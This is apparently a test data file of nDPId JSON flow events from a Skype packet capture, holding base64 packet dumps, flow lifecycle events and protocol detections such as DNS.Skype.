+01265{"flow_id":269,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2155,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969719,"pkt_ts_usec":442918,"pkt_caplen":680,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":680,"pkt_l4_len":646,"pkt":"0NQSxnP1PBXCt3IOCABFAAKa0qtAAEAGLhjAqAEiEaxkJMPQAbsLGQt1BW528lAY\/\/9PxwAAFwMDAm1NLIIPknygdXL+hU\/YxuuVqDKZQDzZzjZDaV2x5l2HLLTcO+Q+utwDKCW+92dZb+8EqLtNR0LMgTIAxx7tD7FZEoicoPqOCTNhNcynKm1bOgr+aphQL0+hcWGv0IQy42ZehrECOIZWrQrFNlOa+OgbP8a1dlFCpvvJAYTS4TfKF2ep1KSAR0OAsy+ciwxAwpyvyTCGYHc9SdOJO7qSt8wj2MKfVWx8TGLgDKyTBv1mV8+7x1eZ7RuU4P2B\/cFilLpx5nfQ43NqBk1CsY8AZ\/oosAmNSIXvb8U7MtJM2BjHQRAlnW53sFT5rVLlL6U3Z1tow+osZ0l4VpcmC\/vWvKQ8zUMywtm2Fa7\/TWKbjAf3Yxe0R5VVc8RXH+uNw1wIXUMi6Z5Ajdr2bqWPGQ1Nj1zGUCUzARNF4lgRzqax44KF4gHNweNYwL4WpfDypF3\/S2EBqu9UZWkbk6PzyeKWxIzsnst0tLU2wqSa9XZNtg2zaZ9VmwQ2\/b9g7jqRhI\/XeWji4bKpds\/ijR5ONA2n2DOY1w4pqkh0W1pyEkkaySPMn+L1i+BcVzhgdjz3S8WCGUFWUFssoVZZQYvCzSRWAWpNTs5jUJ7xJTpaeCVAHytw+8tquxAVx\/l9nh055zF4djtSoh3vHk7CW1ZxmqcYZGyM4MUadRMiDfw4Rzkxn7F3O1HcYJTUYrcuQamBhCmrD5u7tiHNkkagT64SdU93ic70\/AJnTOo8uWJ+AlYGTawIXDs7GR+0Rgtx6O1AzJrVQGqUlxzFx84zwkbRF+yj7vxjbJn\/CDIo6Y5p7hi\/pQOGhzvnW3m16X2\/tdnMcuw="} +01179{"flow_id":269,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2156,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969719,"pkt_ts_usec":443013,"pkt_caplen":620,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":620,"pkt_l4_len":586,"pkt":"0NQSxnP1PBXCt3IOCABFAAJeoHhAAEAGYIfAqAEiEaxkJMPQAbsLGQ3nBW528lAY\/\/9lEAAAFwMDAjHGJHTnGOw+5vSCgkXy+FVBIsUyDZ9x1q6+aVNyR1MY7Uzm0Gr99Ni3SMbdLHMWQ0isLTbqBoNkjqTHSuOKQ9pdAPi\/U63Kl7zsCu4ZfljoeJuyeioSgzlPstnJ5VXlGsdI6r3tRpVCINzey6GM+5eG2K4Xw9ZxGNFs+0ddT5TfWQlvoGRlickUOsahUcyMLNaRK+bM8ChtyG1jgy\/T1V41qGCRRwuzZg\/c2M749VnS5GEVukm6FGhXWyHPLYnkODeNAzn0s+j+FyF+lJKi7CDgOjCv+C5xtkvnfIqxP5oU\/UouprgdU\/uesXiZZDon10geu6QZoJOf3r+X6eceMNMR44mGrIJYaQcUNjI1Tl8GMPw8VwkOFVLRxGKdHXyy\/rgMS2YqAgtbn34qloT9pfLlzMTz648JAaUVx146fB6ZEqHYGAgxO8wBCY1qKoPeBfVbJtoRKqaQBHGxhATrOdSsF27a0pTlb1OySOuWBchGrQTXt5kWoQ7roJD+lrv8kipTLAmXf1AjSG8LygRU+aa\/OSW0cDaOJ\/kbbjziMsYao+8gBv2s1BZ0OfHYXxcG6kzL3UYBaB+UIKB6e1vPO4XgkKk4em1N7zBjoCO1KKRp55Si2YFbfpjspQjTPdFZ15jpZc6A5ijLWIDFdcjBIu92N8mXb1ovt4CcARwj9Ova7jvmHnZIksW4B6aUJKLDd6l891+7m1IAOs3sZpHVMVdIb8p2XxyDnraoRteHJBemVvg="} +00438{"flow_id":262,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2159,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969719,"pkt_ts_usec":534078,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA848NAAEAGFqfAqAEiUA4uecPLET9q+leLFCuFJYAZECk2pAAAAQEICj4jtskAA1WWI9QHv+GwZuI="} +00449{"flow_id":267,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2160,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969719,"pkt_ts_usec":542070,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"PBXCt3IO0NQSxnP1CABFAABCoTZAAHQGJS5QDi55wKgBIhE\/w88Zt5fkww7JFIAY\/6KT+gAAAQEICgADVaw+I7Mjyxflx\/whJktaKXqMoPE="} +00427{"flow_id":267,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2161,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969719,"pkt_ts_usec":542170,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0nWJAAEAGXRDAqAEiUA4uecPPET\/DDskUGbeX8oAQECjIwwAAAQEICj4jttEAA1Ws"} +00435{"flow_id":267,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2162,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969719,"pkt_ts_usec":542266,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"0NQSxnP1PBXCt3IOCABFAAA4m21AAEAGXwHAqAEiUA4uecPPET\/DDskUGbeX8oAYEChZZQAAAQEICj4jttEAA1WsJ6JHsA=="} +00522{"flow_id":221,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2163,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969719,"pkt_ts_usec":559358,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"0NQSxnP1PBXCt3IOCABFAAB4kUZAAEAGXqXAqAEinTfrksOrAbuMrH6YAEk0NoAZECx+lgAAAQEICj4jtuJMXR6aqu6O72aW6xh35z3AV+yJQQlzV\/czZ3tOI38nltt4UVqSgJEIfqzGP6jAcvysYI+CHXjgzzv6OFuoeDW4oVrEywZ4EAM="} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2164,"source":"skype.pcap","alias":"nDPId-test","flow_id":270,"flow_packet_id":1,"flow_first_seen":1431969719561,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"91.190.218.125","src_port":50129,"dst_port":12350,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":270,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2164,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969719,"pkt_ts_usec":561453,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAR+5AAEAG+sPAqAEiW77afcPRMD4OYtZAAAAAALAC\/\/9xPAAAAgQFtAEDAwUBAQgKPiO25AAAAAAEAgAA"} +00418{"flow_id":269,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2165,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969719,"pkt_ts_usec":564377,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"PBXCt3IO0NQSxnP1CABFAAAoDJFAAPAGRqQRrGQkwKgBIgG7w9AFbnbyCxkLUFAQiZCWVAAAAAAAAAAA"} +00418{"flow_id":269,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2166,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969719,"pkt_ts_usec":565059,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"PBXCt3IO0NQSxnP1CABFAAAoDJJAAPAGRqMRrGQkwKgBIgG7w9AFbnbyCxkLdVAQiWuWVAAAAAAAAAAA"} +00463{"flow_id":223,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2169,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969719,"pkt_ts_usec":609578,"pkt_caplen":91,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":91,"pkt_l4_len":57,"pkt":"0NQSxnP1PBXCt3IOCABFAABNChNAAEAGTvvAqAEinTeCm8OuAbux\/OMgeZuFrYAZECxQGwAAAQEICj4jtxNOs6LAbiJ8sZfDJaByCG++TyeH7mntaEp3F4nXwA=="} +00426{"flow_id":270,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2177,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969719,"pkt_ts_usec":623289,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0Hj5AAPQGcH9bvtp9wKgBIjA+w9E3PWT9DmLWQYASH\/7iJQAAAgQFoAEDAwQBAQQC"} +00410{"flow_id":270,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2180,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969719,"pkt_ts_usec":623434,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAo4VtAAEAGYW7AqAEiW77afcPRMD4OYtZBNz1k\/lAQIAAi3wAA"} +00418{"flow_id":270,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2181,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969719,"pkt_ts_usec":623510,"pkt_caplen":59,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":59,"pkt_l4_len":25,"pkt":"0NQSxnP1PBXCt3IOCABFAAAtjSBAAEAGtaTAqAEiW77afcPRMD4OYtZBNz1k\/lAYIAALzwAAFgMBAAA="} +00466{"flow_id":228,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2188,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969719,"pkt_ts_usec":645505,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":94,"pkt_l4_len":60,"pkt":"0NQSxnP1PBXCt3IOCABFAABQ8hpAAEAGzLfAqAEib91KLsO0AbvHHCI2d3qYAIAZECySOAAAAQEICj4jtzVNhWcM7XBpLOel2RuchIud8UB4C3rjlSPUGdRd5JmqTw=="} +00483{"flow_id":267,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2189,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969719,"pkt_ts_usec":662141,"pkt_caplen":104,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":104,"pkt_l4_len":70,"pkt":"PBXCt3IO0NQSxnP1CABFAABaoThAAHQGJRRQDi55wKgBIhE\/w88Zt5fyww7JGIAY\/57mkwAAAQEICgADVa0+I7bRUp0POKkm42QBSdv0WyKYGivO3eZ\/1al4H598EV3vyMoZcRqqCiE="} +00418{"flow_id":270,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2193,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969719,"pkt_ts_usec":687742,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"PBXCt3IO0NQSxnP1CABFAAAomCRAADcGs6Vbvtp9wKgBIjA+w9E3PWT+DmLWRlAQA6A\/OgAAAAAAAAAA"} +00514{"flow_id":223,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2197,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969719,"pkt_ts_usec":738507,"pkt_caplen":127,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":127,"pkt_l4_len":93,"pkt":"PBXCt3IO0NQSxnP1CABFAABxJ3RAADcGOnadN4KbwKgBIgG7w655m4X8sfzjOoAZAB3AyAAAAQEICk6ztJ8+I7cTtMq4mBkrjVXBV5aFFFXAAfJxhORt9TWKqszQ\/OI4GMdUcEUNAqHo3wA18F4QhcPAJGFGjqN76LjgvTO\/Wg=="} +00411{"flow_id":223,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2198,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969719,"pkt_ts_usec":738617,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAoBnVAAEAGUr7AqAEinTeCm8OuAbux\/OM6AAAAAFAEAABzogAA"} +00441{"flow_id":249,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2201,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969719,"pkt_ts_usec":867247,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8\/LlAAEAGLH\/AqAEiR+4Hy8PBSU++p140nwx1rIAZECgMIAAAAQEICj4juA0DHKOA72ydd\/Dm76E="} +00472{"flow_id":228,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2202,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969719,"pkt_ts_usec":939610,"pkt_caplen":97,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":97,"pkt_l4_len":63,"pkt":"PBXCt3IO0NQSxnP1CABFAABT\/xFAADYGyb1v3UouwKgBIgG7w7R3ephPxxwiU4AZAB3J7QAAAQEICk2Fc9A+I7c1HCwg9By\/HP1k64f+I284aRe91cTAsm500vqvV4XB1w=="} +00410{"flow_id":228,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2203,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969719,"pkt_ts_usec":939709,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAo89JAAEAGyyfAqAEib91KLsO0AbvHHCJTAAAAAFAEAACFKwAA"} +00437{"flow_id":250,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2206,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969720,"pkt_ts_usec":17748,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8aylAAEAGTPPAqAEiBfi63cPCeSJZV8vhQ7fcvYAZECq3OQAAAQEICj4juKAAAG6yvouwwfuK2cY="} +00438{"flow_id":257,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2221,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969720,"pkt_ts_usec":291175,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8tnZAAEAGXT3AqAEiUYUTucPKrY8W93Zm19BG5IAZECkulwAAAQEICj4jua8CsDJIZdJpfu5kCPY="} +00438{"flow_id":251,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2224,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969720,"pkt_ts_usec":432476,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8DbFAAEAG8gPAqAEiVh8jHsPD6OVaW8L1OrkzbYAZECmSNQAAAQEICj4jujsAGgO9IXsnOyU+9vo="} +00879{"flow_id":266,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2225,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969720,"pkt_ts_usec":514647,"pkt_caplen":398,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":398,"pkt_l4_len":364,"pkt":"0NQSxnP1PBXCt3IOCABFAAGAK65AAEAGGCrAqAEiW77YF8POMD6CImX9rdWNC4AYECj2pwAAAQEICj4juo0NJSaium5jNp\/t6MnvYv17vInE+u60ockfR5mfGTOro0QN8LMKnmAyvODPlTeyrnkoAUpKceu5uu4NlVO\/v7ctJqTBVS8o0R1CSL+EPA5s6N3+\/xSicLOSk8FOw0ZK8JvNsCjaQnMlPLIfYEsiQsmAyX1mhdmutUXuX1FlLSieJ868LDp8KWnZBPAIIPoWEV34j0UNNhg8OjdvwRinNdOManql86rY\/V2GVf6ms8Z9fpiOdcl2TxrxP9aSeZz3HmVMIj+c1\/jv3lQrBoXgfkzaS2fI27xuPVW4vOSfOCqdpBx40nBoPLwgs99WAHdL8kRdgfaFID96DQLsQ1X2UmAKMsqHqhcdQYFDK9h1czYRqgSNf6OjxZjjG\/RON6LXVdAjMLtOT1G4VUncOMp43DgkS1qIRYNmPbrc8XzQI4wvtYSHiTNizbbA6Gpepi0kbFY="} +00484{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":2226,"source":"skype.pcap","alias":"nDPId-test","flow_id":260,"flow_packet_id":1,"flow_first_seen":1431969717061,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":2226,"source":"skype.pcap","alias":"nDPId-test","flow_id":258,"flow_packet_id":1,"flow_first_seen":1431969716797,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00482{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":2226,"source":"skype.pcap","alias":"nDPId-test","flow_id":261,"flow_packet_id":1,"flow_first_seen":1431969717062,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00482{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":2226,"source":"skype.pcap","alias":"nDPId-test","flow_id":259,"flow_packet_id":1,"flow_first_seen":1431969716797,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00475{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":2226,"source":"skype.pcap","alias":"nDPId-test","flow_id":246,"flow_packet_id":1,"flow_first_seen":1431969713965,"flow_last_seen":0,"flow_tot_l4_data_len":26,"flow_min_l4_data_len":26,"flow_max_l4_data_len":26,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.39","src_port":13021,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":2226,"source":"skype.pcap","alias":"nDPId-test","flow_id":245,"flow_packet_id":1,"flow_first_seen":1431969713965,"flow_last_seen":0,"flow_tot_l4_data_len":26,"flow_min_l4_data_len":26,"flow_max_l4_data_len":26,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.145","src_port":13021,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00475{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":2226,"source":"skype.pcap","alias":"nDPId-test","flow_id":242,"flow_packet_id":1,"flow_first_seen":1431969713813,"flow_last_seen":0,"flow_tot_l4_data_len":26,"flow_min_l4_data_len":26,"flow_max_l4_data_len":26,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"71.62.0.85","src_port":13021,"dst_port":33647,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":2226,"source":"skype.pcap","alias":"nDPId-test","flow_id":241,"flow_packet_id":1,"flow_first_seen":1431969713813,"flow_last_seen":0,"flow_tot_l4_data_len":26,"flow_min_l4_data_len":26,"flow_max_l4_data_len":26,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"176.97.100.249","src_port":13021,"dst_port":26635,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2226,"source":"skype.pcap","alias":"nDPId-test","flow_id":271,"flow_packet_id":1,"flow_first_seen":1431969720556,"flow_last_seen":0,"flow_tot_l4_data_len":54,"flow_min_l4_data_len":54,"flow_max_l4_data_len":54,"flow_avg_l4_data_len":54,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":52742,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00457{"flow_id":271,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2226,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969720,"pkt_ts_usec":556111,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"0NQSxnP1PBXCt3IOCABFAABKnloAAEARWNXAqAEiwKgBAc4GADUANhjrBXkBAAABAAAAAAAAAzMzNQEwATcBNwEzBHJzdDUBcgVza3lwZQNuZXQAAAEAAQ=="} +00650{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2226,"source":"skype.pcap","alias":"nDPId-test","flow_id":271,"flow_packet_id":1,"flow_first_seen":1431969720556,"flow_last_seen":0,"flow_tot_l4_data_len":54,"flow_min_l4_data_len":54,"flow_max_l4_data_len":54,"flow_avg_l4_data_len":54,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":52742,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"335.0.7.7.3.rst5.r.skype.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2227,"source":"skype.pcap","alias":"nDPId-test","flow_id":272,"flow_packet_id":1,"flow_first_seen":1431969720556,"flow_last_seen":0,"flow_tot_l4_data_len":54,"flow_min_l4_data_len":54,"flow_max_l4_data_len":54,"flow_avg_l4_data_len":54,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":56387,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00457{"flow_id":272,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2227,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969720,"pkt_ts_usec":556330,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"0NQSxnP1PBXCt3IOCABFAABK65gAAEARC5fAqAEiwKgBAdxDADUANtEePu0BAAABAAAAAAAAAzMzNQEwATcBNwEzBHJzdDUBcgVza3lwZQNuZXQAABwAAQ=="} +00651{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2227,"source":"skype.pcap","alias":"nDPId-test","flow_id":272,"flow_packet_id":1,"flow_first_seen":1431969720556,"flow_last_seen":0,"flow_tot_l4_data_len":54,"flow_min_l4_data_len":54,"flow_max_l4_data_len":54,"flow_avg_l4_data_len":54,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":56387,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"335.0.7.7.3.rst5.r.skype.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00440{"flow_id":252,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2231,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969720,"pkt_ts_usec":848846,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8Ya5AAEAGeGPAqAEiUVNNjcPEROe9aVaB2bol\/oAZEClPQwAAAQEICj4ju9oAupldFs\/7EKwgSC8="} +00416{"flow_id":247,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2235,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969721,"pkt_ts_usec":38439,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":25,"pkt":"PBXCt3IO0NQSxnP1CABFCAAthDRAADYGyohbvth9wKgBIgG7w79kPKOrTtpNelAYA6A0ZwAAFwMBAAAA"} +00410{"flow_id":247,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2236,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969721,"pkt_ts_usec":38558,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAoq1JAAEAGmXfAqAEiW77YfcO\/AbtO2k16ZDyjsFAQH\/8wEwAA"} 